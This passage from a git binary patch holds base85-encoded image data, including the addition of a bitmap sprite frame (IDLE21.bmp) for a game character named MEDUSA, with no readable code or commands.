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 U*KhxaS--v^{|{>Z|Hb-$0ho3YA^-pY literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dbcade0cba3966e89be3dbf7d7ae2e20a9d22709 GIT binary patch literal 18462 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 